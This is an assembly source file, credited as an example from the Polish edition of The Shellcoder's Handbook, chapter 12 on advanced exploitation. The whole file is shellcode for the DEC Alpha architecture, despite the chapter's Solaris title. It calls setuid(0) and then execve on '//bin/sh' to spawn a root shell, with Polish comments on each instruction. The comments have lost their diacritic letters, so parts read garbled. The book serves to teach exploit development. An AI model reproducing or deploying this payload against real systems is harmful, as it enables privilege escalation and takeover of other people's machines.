/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 12
Zaawansowane metody wama w systemie Solaris
Przykad 4

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/


#include <alpha/regdef.h>
#include <alpha/pal.h>
     .text
     .arch     generic
     .align 4
     .globl  main
     .ent      main
main:
     .frame  $sp, 0, $26
                                    #zakada, e adres kodu powoki znajduje si w rejestrze a0,
                                    #przekazanie biecej wartoci licznika rozkazw 
                                    #naley do obowizkw dekodera.
     bic  sp, 0xf, sp               #gwarantuje, e stos jest wyrwnany do granicy 16 bajtw.
     addq a0, 0x30, s4              #adres acucha //bin/sh
     stq  s4, (sp)                  #odkada adres acucha //bin/sh
     stq  zero, 8(sp)               #oraz koczcy go bajt zerowy.
     
     bis  zero, zero, a0            #uid=0, pierwszy argument.
     addq zero, 0x17, v0            #wywoanie systemowe setuid.
     PAL_callsys                    #przerwanie jdra.

     mov  s4, a0                    #adres acucha //bin/sh
     mov  sp, a1                    #adres wskazujcy (adres acucha //bin/sh).
     bis  zero, zero, a2            #NULL.
             addq zero, 0x3b, v0    #wywoanie systemowe execve
     PAL_callsys                    #przerwanie jdra.

.quad   0x68732f6e69622f2f          #/bin/sh\x00
.long   0x00000000
     .end      main
